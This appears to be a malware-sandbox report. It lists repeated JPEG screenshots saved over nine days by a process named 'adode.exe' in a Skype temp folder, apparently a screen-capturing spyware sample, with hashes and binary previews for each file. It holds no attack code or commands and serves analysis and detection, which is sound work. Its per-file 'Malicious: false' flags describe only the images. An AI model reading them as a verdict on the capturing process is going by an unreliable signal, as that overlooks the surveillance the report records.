SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240920_031550.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151852
Entropy (8bit):	7.927876476864651
Encrypted:	false
SSDEEP:	3072:aFW6XOQeRh65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5moL:eW8OQeRh6BvNuHwpLyaG22oL
MD5:	7DD9F46B3A962CC13930CF7850FE67E6
SHA1:	2E2720A485A8B4CEF08394937EC83CA5ED922FAD
SHA-256:	B944995E51BAB429A4A101A0350E4D0987A0BDA5E8D65F7406D47E1EA8BF8F08
SHA-512:	EF14C28B82D7D38C2E0D08772A15A4F2239464B5836F017D1BAF6DECEB4B369DDE8FEF12C68AA272FE99DD42FC8884183B9F409B3F6D68355622884A44F10F4A
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240923_081806.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240923_100147.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240923_115311.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240923_141134.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240923_181405.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240924_005017.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240924_075559.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240924_135010.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240924_230648.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240925_045849.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152803
Entropy (8bit):	7.925248634489261
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5moL:7HM9tZj6BvNuHwpLyaG22oL
MD5:	FA60C9DC9C9B2747E6F9F3E1539B62E8
SHA1:	CF63A592C1F0870B53A8D5A35385AE4A5742BA90
SHA-256:	D6D066B6BC54940DAB4CB80451E2F56C99F30D611160674B3B5D9FD24CCCB5C3
SHA-512:	787D27E5546DB5B992526067E2D2041635A95BF201274F0D9B54AD12E4ECB19B655C88845452E0E18D88AF319D8147C23463E209B13B16D3EEEDCF5135A1FB2B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240925_110546.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240925_180813.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240926_020434.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240926_084337.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240926_155445.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240929_004213.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
